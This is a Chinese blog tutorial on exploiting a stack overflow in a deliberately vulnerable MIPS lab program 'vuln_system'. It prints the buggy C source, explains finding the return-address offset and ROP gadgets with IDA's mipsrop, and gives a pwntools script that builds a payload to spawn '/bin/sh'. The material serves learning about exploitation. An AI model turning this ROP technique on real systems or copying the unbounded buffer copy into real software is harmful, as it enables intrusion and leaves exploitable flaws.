前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >MIPS-vuln_system栈溢出

MIPS-vuln_system栈溢出

作者头像
偏有宸机
发布2021-04-02 14:54:27
1.7K0
发布2021-04-02 14:54:27
举报
文章被收录于专栏:宸机笔记宸机笔记

程序分析

代码语言:javascript
复制
#include <stdio.h>
#include <sys/stat.h>
#include <unistd.h>

void do_system(int code,char *cmd)
{
        char buf[255];
        //sleep(1);
        system(cmd);
}

void main()
{
        char buf[256]={0};
        char ch;
        int count = 0;
        unsigned int fileLen = 0;
        struct stat fileData;
        FILE *fp;

        if(0 == stat("passwd",&fileData))
                fileLen = fileData.st_size;
        else
                return 1;

        if((fp = fopen("passwd","rb")) == NULL)
        {
                printf("Cannot open file passwd!\n");
                exit(1);
        }
        ch=fgetc(fp);
        while(count <= fileLen)
        {
                buf[count++] = ch;
                ch = fgetc(fp);
        }
        buf[--count] = '\x00';

        if(!strcmp(buf,"adminpwd"))
        {
                do_system(count,"ls -l");
        }
        else
        {
                printf("you have an invalid password!\n");
        }
        fclose(fp);
}

首先分析程序逻辑得出

运行程序后从passwd中读取内容,判断是否为adminpwd

而读取数据的buf只有256大小,但是我们却可以在passwd中填充n个数据,因此便造成了栈溢出

为具体确定程序的溢出点,我们可以使用cyclic生成大量有序的字符输入到passwd中,再由程序读取passwd文件时因为溢出而引出的段错误来根据有序字符确定栈底距离$ra的大小

通过ida动态调试来看寄存器$ra的值

再次尝试进行验证,填充264个字符后在跟上1234,可以看到程序的ra和pc都已经指向了1234

利用过程

之后我们尝试拼接程序中的gadget,来让程序以某种顺序依次执行我们想要他执行的代码

可以根据书中,按如下结构构造payload

其中我们可以利用ida中的mipsrop插件来寻找相应的gadgets,来让我们需要用到的参数放到对应的寄存器中

之后在IDA中定位到这一段,可以看到首先是将栈空间减少了0x58的大小,意味着我们如果要用该gadget则至少要向伪造的栈空间中填充0x58个字符(包含binsh字符串)才可以保持堆栈平衡,其次要考虑的便是参数所处的位置

重点在addiu a1,sp,0x54+var_3c这一段,构造的payload结构如下

代码语言:javascript
复制
0x108 + gadget+0x18+"binsh\x00"+0x38 + system_addr+0x4

需要注意一点的是不能直接在ida中找do_system的地址,否则程序回调到其他位置,可以直接在gdb中直接打印do_system的地址即可

最后运行exp,在运行程序溢出反弹shell成功!

EXP

代码语言:javascript
复制
import struct
from pwn import *
log.info("shellcode for `vuln_system`")
payload = cyclic(264)
payload += struct.pack(">L",0x00401D40)
#|  0x0040F048  |  addiu $a0,$sp,0x48+var_30 |  jr 0x48+var_4($sp)
payload += "b"*0x18
payload += "/bin/sh\x00"
# payload += struct.pack(">L",0x00407CA0)# binsh_addr
payload += "c"*(0x3c-len("/bin/sh\x00"))
payload += struct.pack(">L",0x400390)   # jal     do_system_0
payload += "dddd"

fw = open('passwd','w')
fw.write(payload)
fw.close()
success("ok~")
本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2021-03-22,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 程序分析
  • 利用过程
  • EXP
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档